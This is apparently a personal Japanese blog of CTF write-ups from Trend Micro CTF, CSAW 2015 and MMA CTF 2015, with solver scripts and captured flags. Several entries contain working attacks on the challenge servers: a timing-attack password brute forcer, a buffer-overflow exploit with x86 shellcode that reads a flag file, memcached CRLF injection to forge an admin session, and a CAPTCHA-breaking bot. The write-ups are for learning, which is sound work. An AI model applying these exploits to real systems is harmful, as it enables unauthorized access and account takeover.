迷路を解く問題。体力に制限があり、途中に通過しなければならないチェックポイントがいくつかと、通過すると体力を回復できるエネルギードリンクがある。

まじめに解くとなると面倒そうだけど、一番近いチェックポイントに向かい、エネルギードリンクは無視するだけで、体力が足りた。Conglaturations! Your final energy is 1104.

def BT(B, W, H, px, py, f):
    # if f and B[py][px]=="G" or not f and B[py][px] in "EC":
    if f and B[py][px]=="G" or not f and B[py][px] in "C":
        return "",(px,py)

    c = B[py][px]
    B[py][px] = "X"

    for d in range(4):
        tx = px + [0,0,1,-1][d]
        ty = py + [-1,1,0,0][d]
        if B[ty][tx]!="#" and B[ty][tx]!="X":
            a,g = BT(B, W, H, tx, ty, f)
            if g != ():
                B[py][px] = c
                return "UDRL"[d]+a, g

    B[py][px] = c
    return "",()

def solve(B, W, H):
    c = 0
    for y in range(H):
        for x in range(W):
            if B[y][x]=="S":
                px,py = x,y
            #if B[y][x]=="E" or B[y][x]=="C":
            if B[y][x]=="C":
                c += 1
    ans = ""
    while c>0:
        a,g = BT(B, W, H, px, py, False)
        ans += a
        px,py = g
        B[py][px] = "."
        c -= 1

    a,g = BT(B, W, H, px, py, True)
    ans += a
    return ans

for i in range(1001):
    W,H,N = map(int, raw_input().split())
    B = [""]*H
    for y in range(H):
        B[y] = list(raw_input())
    print solve(B, W, H)
TMCTF{AMAZING_1001_MAZES_lool}

Programming 400

f:id:kusano_k:20150927163705p:plain:w320

青線の2台のサーバーのIPアドレスが交換できる。AとPのみIPアドレスを交換して、残りはそのままにする最小手順を答えよ。という問題。

一度に動かせるサーバーは2台なので、個々のサーバーの目的の位置との距離の和が残りの手数の2倍より大きければ打ち切りという枝刈りと、元の場所には戻らないという枝刈りで、サーバー台数12台までは解けた。PythonからC++にしたら14台も解けた。あとはそこから法則を探して制約(↓のプログラムのBTの先頭)を加えたけど、これもうちょっと頑張れば一般解になったのではw

#include <vector>
#include <algorithm>
#include <iostream>
#include <string>

using namespace std;

int N;
vector<vector<int>> E;
vector<vector<int>> D;
vector<int> S;
vector<int> G;
vector<int> GP;
string ans;

bool BT(int p, int c, int d, int t)
{
    if (c==0)
        return S==G;

    if (d==N/2+(N/2%2==0?1:0)-2 && p!=2 ||
        d==N/2+(N/2%2==0?1:0) && p!=0 ||
        d==N/2+(N/2%2==0?1:0)+2 && p!=1 ||
        d==N/2+(N/2%2==0?1:0)+4 && p!=2 ||
        c==2 && p!=1 ||
        c==N/2+(N/2%2==0?1:0) && p!=N-1)
        return false;

    int f = 0;
    for (int i=0; i<N; i++)
        f += D[i][GP[S[i]]];
    if (f>c*2)
        return false;
    for (int e: E[p])
    if (e != t)
    {
        swap(S[e], S[p]);
        ans += char('A'+e);
        if (BT(e, c-1, d+1, p))
            return true;
        swap(S[e], S[p]);
        ans.pop_back();
    }
    return false;
}

int main()
{
    N = 16;
    for (int i=0; i<N; i++)
    {
        vector<int> t;
        for (int j=i%(N/2)-1; j<=i%(N/2)+1; j++)
            if (0<=j && j<N/2)
                t.push_back(i<N/2 ? j+N/2 : j);
        E.push_back(t);
    }
    D = vector<vector<int>>(N, vector<int>(N, 9999));
    for (int i=0; i<N; i++)
    {
        D[i][i] = 0;
        for (int e: E[i])
            D[i][e] = 1;
    }
    for (int i=0; i<N; i++)
        for (int j=0; j<N; j++)
            for (int k=0; k<N; k++)
                D[j][k] = min(D[j][k], D[j][i]+D[i][k]);
    for (int i=0; i<N; i++)
        S.push_back(i);
    G = S;
    swap(G[0], G[N-1]);
    GP = vector<int>(N);
    for (int i=0; i<N; i++)
        GP[G[i]] = i;

    for (int i=1; ; i+=2)
    {
        cout<<i<<endl;
        if (BT(N-1, i, 0, -1))
        {
            cout<<ans<<endl;
            break;
        }
    }
    return 0;
}
TMCTF{HOFMDKCJAIBKCJBKDMELCJBKDMELDMFOGNELDMFOGNFOHPGNFMDKBIA}

Programming 500

ブラックジャックでヒットとスタンドそれぞれの勝率を答えよという問題。現在の手札をメモしておけば現実的な時間で解ける。ディラーのバースト確率が書いてあるサイトを見ながらデバッグした。Aが2枚以上あった場合に、1枚を1、もう1枚を11にするというのが抜けていて悩んだ。

C = [0]+[8]*9+[32]
P = [1,2]
D = [3]
for p in P:
    C[p] -= 1
for d in D:
    C[d] -= 1

def total(v):
    n1 = v.count(1)
    a = sum(v) + n1*10
    for i in range(n1):
        if a-i*10<=21:
            return a-i*10
    return a-n1*10

def dealer():
    global D

    if total(D)>21:
        return 1.
    if total(D)>=17:
        return 1. if total(P)>total(D) else 0.

    p = 0.
    n = 0
    for i in range(1,11):
        if C[i]>0:
            D += [i]
            C[i] -= 1
            p += dealer() * (C[i]+1)
            n += C[i]+1
            D.pop()
            C[i] += 1
    return p/n

memo = {}

def player(d):
    global P
    global memo

    if total(P)>21:
        return 0.
    
    t = tuple(sorted(P))
    if t in memo:
        return memo[t]
    
    ph = dealer()
    
    ps = 0.
    n = 0
    for i in range(1,11):
        if d<=3:
            print " "*d,i
        if C[i]>0:
            P += [i]
            C[i] -= 1
            ps += player(d+1) * (C[i]+1)
            n += C[i]+1
            P.pop()
            C[i] += 1
    memo[t] = max(ph, ps/n)
    return memo[t]

p = player(0)
d = dealer()

print p
print d
print "TMCTF{HIT:%.4f:STAND:%.4f}"%(p,d)
TMCTF{HIT:0.5094:STAND:0.3770}

Miscellaneous 100

クロスワード。「the company hosting TMCTF」に関する問題がいっぱいあるw

Miscellaneous 200

学習型のジャンケンプログラムに30回連続で勝てという問題。プロコンっぽいのに解けなかった。ランダム要素も入っているのでどうしろと……。

Miscellaneous 300

CAPTCHA 500問。人力で250問目まで解いたけど、そこで間違えて心が折れた。人力は止めよう、プログラムを書こう。

普通のCAPTCHAと違ってミスが許されないのは辛いけど、位置も文字サイズも完全に固定なので、難しくはない。最初はときどきミスしていたけど、ノイズ部分を周囲の色で埋めたり、位置を微調整したり、サンプリングする画素数を増やしたりしたら通った。

from urllib import *
from urllib2 import *
from cookielib import *
from re import *
from PIL import Image
from collections import *

o = build_opener(HTTPCookieProcessor(CookieJar()))

token = search(r'"([0-9a-f]{128,128})"', o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/signin").read()).group(1)
o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/signin", urlencode({"username":"kusano_k", "password":"UBaAAYz5ZXZg", "fuel_csrf_token":token})).read()

T = {}
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz0123456789"
for a in A:
    f = a
    if a.islower():
        f = "_"+f
    T[a] = Image.open("temp\\%s.png" % f)
    
    for y in range(T[a].size[1]):
        for x in range(1, T[a].size[0]-1):
            if T[a].getpixel((x,y))==(255,255,255) and T[a].getpixel((x-1,y))==(0,0,0) and T[a].getpixel((x+1,y))==(0,0,0):
                T[a].putpixel((x,y), (0,0,0))
print "load"

for i in range(500):
    token = search(r'"([0-9a-f]{128,128})"', o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/challenge").read()).group(1)

    while True:
        try:
            d = o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/image").read()
        except:
            continue
        break
    open("image\\%04d.png"%i, "wb").write(d)

    img = Image.open("image\\%04d.png"%i).convert("RGB")
    C = defaultdict(int)
    for y in range(img.size[1]):
        for x in range(img.size[0]):
            C[img.getpixel((x,y))] += 1
    R = sorted([C[c] for c in C])[::-1]
    
    for y in range(img.size[1]):
        for x in range(img.size[0]):
            if C[img.getpixel((x,y))]==R[1]:
                img.putpixel((x,y), (0,0,0))
            else:
                img.putpixel((x,y), (255,255,255))
    
    for y in range(img.size[1]):
        for x in range(1, img.size[0]-1):
            if img.getpixel((x,y))==(255,255,255) and img.getpixel((x-1,y))==(0,0,0) and img.getpixel((x+1,y))==(0,0,0):
                img.putpixel((x,y), (0,0,0))
    img.save("image\\%04d.png"%i)
    
    # img.crop((12, 0, 12+65, 300)).save("image\\%04d.png"%i)
    
    ans = ""
    for i in range(4):
        cx = [12, 12+66, 12+133, 12+200][i]

        mc = 0
        for a in A:
            c = 0
            for y in range(90,195,2):
                for x in range(0,65,2):
                    if img.getpixel((cx+x,y))==T[a].getpixel((x,y)):
                        c += 1
            if c>mc:
                mc = c
                ma = a
        ans += ma
    print ans
    
    print o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/challenge", urlencode({"captcha":ans, "fuel_csrf_token":token})).read()
TMCTF{217dae3fd34cee799658d4552e37827f}

Miscellaneous 400

解いてない。

Miscellaneous 500

解いてない。

CSAW CTF 2015 Write-up

CSAW CTF 2015

ぼっちチームsuperflipは1200点で287位(´・ω・`)

Web 200 Lawn Care Simulator

gitのディレクトリが残っているので、

git clone http://54.175.3.248:8089/.git/

で手元にファイルを持ってこられる。

新規登録しようとしたときに新規ユーザーかどうかのチェックをSQLのLIKEでしているが、%のエスケープが抜けているので、%というユーザー名で登録しようとすると、→ Username: ~~FLAG~~ is not availableと言われて、~~FLAG~~というユーザーがいることが分かる。

パスワードのチェックで1文字ごとにウエイトを入れているので、タイミング攻撃ができる。パスワードは32文字のはずなのに、10文字目以降実行時間が変わらなくなって悩んだけど、10文字の時点でフラグが表示されていた。時間がかかりすぎるから修正されたのか……。たまにパスワードが一致していなくてもなぜか時間がかかるときがあるので、そこは人力で何とかした。時間がおかしかったら一旦プログラムを止めて、passwordに途中までの値を書き込むとそこから探索できるようにした。あと表示されたフラグに}が抜けていた。

url = "http://54.175.3.248:8089/premium.php"
username = "~~FLAG~~"
password = ""

from urllib import *
from urllib2 import *
from time import *

for i in range(len(password), 32):
    ans = ""
    anst = 0
    for c in "0123456789abcdef":
        p = password+c
        p += "x"*(32-len(p))
        s = time()
        r = urlopen(Request(url, urlencode({"username":username, "password":p}))).read()
        print r
        t = time()-s
        print c, t
        if t>anst:
            ans = c
            anst = t
    password += ans
    print i, password
flag{gr0wth__h4ck!nG!1!1!}

追記

    $index = 0;
    while($hash[$index]){
        if ($pass[$index] != $hash[$index])
            return false;
        # Protect against brute force attacks
        usleep(300000);
        $index+=1;
    }
    return true;

なるほど……。PHP!!!

Exploitables 100 precision

スタックのアドレスを教えてくれるし、スタックも実行可能で簡単。スタックの途中に入っている浮動小数点がチェックされるので、その同じ値で上書きする必要がある。なぜか、execv('/bin/sh')が動かなかったので、システムコールを使ってファイル一覧とフラグを取得した。

from socket import *
from struct import *
from telnetlib import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("54.173.98.115", 1259))

b = s.recv(1000)
stack = int(b[-9:-1], 16)
print "stack",hex(stack)

shell = "a"*0x80
shell += "a5315a4755155040".decode("hex")
shell += "0123456789ab"
shell += pack("<I", stack+len(shell)+4)

shell += (
    "83c47f"+   # add esp, 7f

#   # open(".", 0, 0)
#   "33c0"+     # xor eax, eax
#   "b02e"+     # mov al, 2eh
#   "50"+       # push eax
#   "33c0"+     # xor eax, eax
#   "b005"+     # mov al, 5
#   "8bdc"+     # mov ebx, esp
#   "33c9"+     # xor ecx, ecx
#   "33d2"+     # xor edx, edx
#   "cd80"+     # int 80h

#   # getdents(fd, esp, 0x100)
#   "8bd8"+     # mov ebx, eax
#   "33c0"+     # xor eax, eax
#   "b08d"+     # mov al, 8dh
#   "8bcc"+     # mov ecx, esp
#   "33d2"+     # xor edx, edx
#   "fec6"+     # inc dh
#   "cd80"+     # int 80h

    # open("flag", 0, 0)
    "33c0"+     # xor eax, eax
    "50"+       # push eax,
    "b8666c6167"# mov eax, 0x67616c66
    "50"+       # push eax
    "33c0"+     # xor eax, eax
    "b005"+     # mov al, 5
    "8bdc"+     # mov ebx, esp
    "33c9"+     # xor ecx, ecx
    "33d2"+     # xor edx, edx
    "cd80"+     # int 80h

    # read(fd, esp, 0x100)
    "8bd8"+     # mov ebx, eax
    "33c0"+     # xor eax, eax
    "b003"+     # mov al, 3
    "8bcc"+     # mov ecx, esp
    "33d2"+     # xor edx, edx
    "fec6"+     # inc dh
    "cd80"+     # int 80h


    # write(1, esp, 0x100)
    "33c0"+     # xor eax, eax
    "b004"+     # mov al, 4
    "33db"+     # xor ebx, ebx
    "43"+       # inc ebx
    "8bcc"+     # mov ecx, esp
    "33d2"+     # xor edx, edx
    "fec6"+     # inc dh
    "cd80"+     # int 80h
    "").decode("hex")

shell += "\n"

s.sendall(shell)

sleep(1)
print repr(s.recv(1000))
# flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Crypto 50 ones_and_zer0es

Cryptoの問題はなぜかテキストなのに拡張子が動画。

2進数を文字に直すだけ。

flat{People always make the best exploits.}

Crypto 50 whiter0se

置換式暗号。このサイトで解けた。

BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN LOOKING AT WHAT'S ABOVE US.

Crypto 50 zer0-day

Base64

flag{We are fsociety, we are finally free, we are finally awake!}

Crypto 100 notesy

置換式暗号を行うcgi。暗号化器だけで、平文も暗号文の無いのにどうしろと……と思っていたら、ヒントが追加された。

HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?

対応表が答えだった。この形式どこかでも見た気がする。暗号文ではなく暗号化器が与えられているので、abcdef…を変換するだけ。

UNHMAQWZIDYPRCJKBGVSLOETXF

Forensics 100 Keep Calm and CTF

画像をテキストエディタで開くと書いてある。

h1d1ng_in_4lm0st_pla1n_sigh7

Forensics 100 Transfer

pcapファイル。通信の中にrot13, Base64, シーザー暗号を繰り返して暗号化するPythonスクリプトがあるので、逆算するスクリプトを書く。素直に書いたら、シーザー暗号の復号部で、

TypeError: character mapping must return integer, None or unicode

と怒られ、末尾の=を消したら動いたので、手作業で=を消したり付けたりした。何なんだろう?

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
    _rot13 = string.maketrans( 
        "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
        "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
    return string.translate(s, _rot13)

def b64e(s):
    return b64encode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
    tmp = '2{}'.format(b64encode(pt))
    for cnt in xrange(cnt):
        c = random.choice(enc_ciphers)
        i = enc_ciphers.index(c) + 1
        _tmp = globals()[c](tmp)
        tmp = '{}{}'.format(i, _tmp)

    return tmp

#if __name__ == '__main__':
#   print encode(FLAG, cnt=?)

flag = "2Mk16Sk5iakYxVFZoS1RsWn(略)"

while True:
    if flag[0]=="1":
        flag = flag[1:].decode("rot13")
    elif flag[0]=="2":
        flag = flag[1:].decode("base64")
    elif flag[0]=="3":
        flag = caesar(flag[1:], 23)
    else:
        break
    print flag
# flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

Forensics 100 Flash

イメージファイルが問題。flag{で検索したら出てきた。

flag{b3l0w_th3_r4dar}

Forensics 200 airport

空港の航空写真4枚と、Steghideと書かれたJpegファイルが1枚。このソフトらしい。空港コードがパスワードだろうと思ったが、トロント・ピアソン国際空港だけは画像検索で引っ掛からなかったので、全探索した。

import os
import sys

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for a in A:
 for b in A:
  for c in A:
   sys.stdout.write(a+b+c)
   sys.stdout.flush()
   os.system("steghide\\steghide.exe extract -v -sf for_release\\steghide.jpg -xf hoge -p HAVHKGLAX"+a+b+c)
iH4t3A1rp0rt5

Recon 100 Julian Cohen

Twitterに書いてあった。

flag{f7da7636727524d8681ab0d2a072d663}

Trivia

問題文でググったら答えを書いている人がいた。ひどい

MMA CTF 1st 2015 Write-up 2

ありがたいことに、終了後も問題が生きているので、他の人の解答などを見ながら解いた。 ブログに書いておくと、他のコンテスト中に「kusano_k ○○」で出てきて便利。 他人の説明よりは、自分の説明のほうが自分には理解しやすい。

Login As Admin!(2)

mage ctf writeup: MMA CTF 1st 2015

memcachedインジェクション。 分かってしまえばそんなに難しくないのに、SQLインジェクションよりはるかに正解者が少ない。 色々試すときには改行も試すようにしよう。

ログインして、Cookieのセッションに%0d%0aを入れるとエラー画面になる。memcachedだとあたりを付けたら、Cookie%0d%0astats itemsに書き換えると、保存されているアイテムの一覧が見られる。

STAT items:1:number 3
STAT items:1:age 101173
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 2
STAT items:1:expired_unfetched 1
STAT items:1:evicted_unfetched 0
STAT items:3:number 26485
STAT items:3:age 285562
STAT items:3:evicted 0
STAT items:3:evicted_nonzero 0
STAT items:3:evicted_time 0
STAT items:3:outofmemory 0
STAT items:3:tailrepairs 0
STAT items:3:reclaimed 516
STAT items:3:expired_unfetched 516
STAT items:3:evicted_unfetched 0

memcachedを良く知らないけど、保存されているキーはitemsに分類されて保存されるらしい。キーの一覧を見るコマンドは、stats dumpcache 【アイテムの番号】 【個数】%0d%0astats dumpcache 3 26485とすると一覧が表示される。19 bは値のバイト数らしい。

 :
ITEM 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b [19 b; 1441722497 s]
ITEM f8fa793264a559b109fe0b97a1280806acf6aadaf3017ea5c667a6c174db742d [19 b; 1441722538 s]
ITEM 152c55551e38f74aa13373ef52423e69637b93a56ee45e47bcd6232056e64162 [19 b; 1441722764 s]
ITEM 054ff36eab83bad15aef0d606ecd88145353a62be3ac7bd6a5bcb874463bb559 [19 b; 1441643268 s]
 :

キーの中身を見るのは、gets 【キー名】%0d%0aget 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703bで、

VALUE 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 19
{"username":"test"}

adminで1文字増えるから、adminのキーは20バイトだろうと、20バイトのキーをCookieに設定してみたけど、なぜかダメだった。ならば自分のキーに値を書き込めば良い。%0d%0aset 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 0 20%0d%0a{"username":"admin"}を実行すると、STOREDと表示され、そのCookie05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1dに戻せば良い。3個の数字はそれぞれ、圧縮するか、有効期限、データサイズ。

MMA{61016d84e70e0b5ed5c03e4e398c3571}

Alicegame

どうやたらこんな思考が降ってくるんだ……。

x秘密鍵として、h=g^xを使って、(c1=g^r mod p, c2=m h^r mod p)を返してくる暗号サーバー。最初の10回は、rmも指定できる。最後にフラグが書かれたmを乱数rで暗号化して送ってくる。

r=1, m=1とすると、c1gとなり、c2hとなる。pは201ビットの素数なので、r=0, m=2^201を投げると、c2=m mod pなので、p=2^201-mとしてpが分かる。p以上のmが通らない場合は、r=1, 2, 3を投げて、p=gcd(g^2 - (g^2 mod p), g^3 - (g^3 mod p))と求めれば良いらしい。

離散対数問題なんて無理だと思っていたけど、場合によっては解けるらしい。Pohlig–Hellman algorithmこのスライドが分かりやすい。

g^xxに対して周期的になる。周期はp-1p-1が素因数q1, q2, q3, …を持っているとすると、aを整数、x1q1未満の整数として、y=g^(a q1+x1)と書ける。両辺を(p-1)/q1乗すると、y^(p-1)/q1=g^(a (p-1)+x1(p-1)/q1)=g^(x1(p-1)/q1)y1=y^(p-1)/q1, g1=g^(p-1)/q1とすれば、y1=g1^x1。離散対数の問題のままだが、x1q1未満の整数なので、q1が1014程度なら、Baby-step giant-stepアルゴリズムで解ける。このアルゴリズムは半分全列挙のようなもの。O(2^(n/2))

x=x1 mod q1, x=x2 mod q2, …を満たす、x1, x2, …が手に入ったので、あとは中国の剰余定理xが求められる。

ElGamal暗号を使うときは、主催者のMMAのブログにあるように、q素数として2q+1と表せる素数安全素数)を使うべきらしい。

# coding: utf-8

from socket import *
import time
import os
from Crypto.Util.number import *

def get_param():
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("cry1.chal.mmactf.link", 39985))

    s.send(
        "1\n"+
        "1\n"+
        str(2**201)+"\n"+
        "0\n"+
        "q\n")
    
    time.sleep(1)
    r = [eval(l[l.index("(")-1:]) for l in s.recv(1000).split("\n")[1:-1]]

    g = r[0][0]
    h = r[0][1]
    p = 2**201 - r[1][1]
    gr = r[2][0]
    mhr = r[2][1]

    print "g =", g
    print "h =", h
    print "p =", p
    print "gr =", gr
    print "mhr =", mhr

    os.system("msieve152.exe -q %s"%(p-1))

# get_param()

"""
p1: 2
p1: 3
p1: 7
p3: 281
p6: 585131
p7: 2283091
p8: 66558319
prp11: 38812459031
prp13: 8407411055293
prp13: 8899182573469

g = 1828219035112142373387222893932751631772945852477987101590090
h = 1012750243445446249248731524345776923711031192963358920130436
p = 3047318456124223787871095946374791137939076290647203431778747
gr = 1851635883910479967256646617880733235123029676545812189105888
mhr = 2279140729739532482438192630521498934347693926502811537441460
"""

g = 1828219035112142373387222893932751631772945852477987101590090
h = 1012750243445446249248731524345776923711031192963358920130436
p = 3047318456124223787871095946374791137939076290647203431778747
gr = 1851635883910479967256646617880733235123029676545812189105888
mhr = 2279140729739532482438192630521498934347693926502811537441460
Q = [2, 3, 7, 281, 585131, 2283091, 66558319, 38812459031, 8407411055293, 8899182573469]

# 離散対数(Baby-step giant-step)
# y = g^x mod p
# qはgの位数
def log(g, y, p, q):
    m = int(q**0.5+1)
    T = {}
    t = 1
    for j in range(m):
        T[t] = j
        t = t*g%p
    gm = pow(pow(g, p-2, p), m, p)
    t = y
    for i in range(m):
        if t in T:
            return i*m+T[t]
        t = t*gm%p
    return -1

X = []
for q in Q:
    x = log(pow(g,(p-1)/q,p), pow(h,(p-1)/q,p), p, q)
    print q, x
    X += [x]
print "X =", X

# 拡張ユークリッドの互除法
# mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す
def exgcd(m, n):
    if n>0:
        y,x,d = exgcd(n, m%n)
        return x, y-m/n*x, d
    else:
        return 1, 0, m

# 中国の剰余定理
def chinese(A, M):
    n = len(A)
    r = 0
    P = reduce(lambda x,y: x*y, M, 1)
    for i in range(n):
        x,y,d = exgcd(M[i], P/M[i])
        r += y*(P/M[i])*A[i]
    return r%P

x = chinese(X, Q)
print "x =", x

print pow(g, x, p)
print h

m = mhr * pow(pow(gr, x, p), p-2, p)%p
print "m = %x"%m

print long_to_bytes(m)
MMA{wrOng_wr0ng_ElGamal}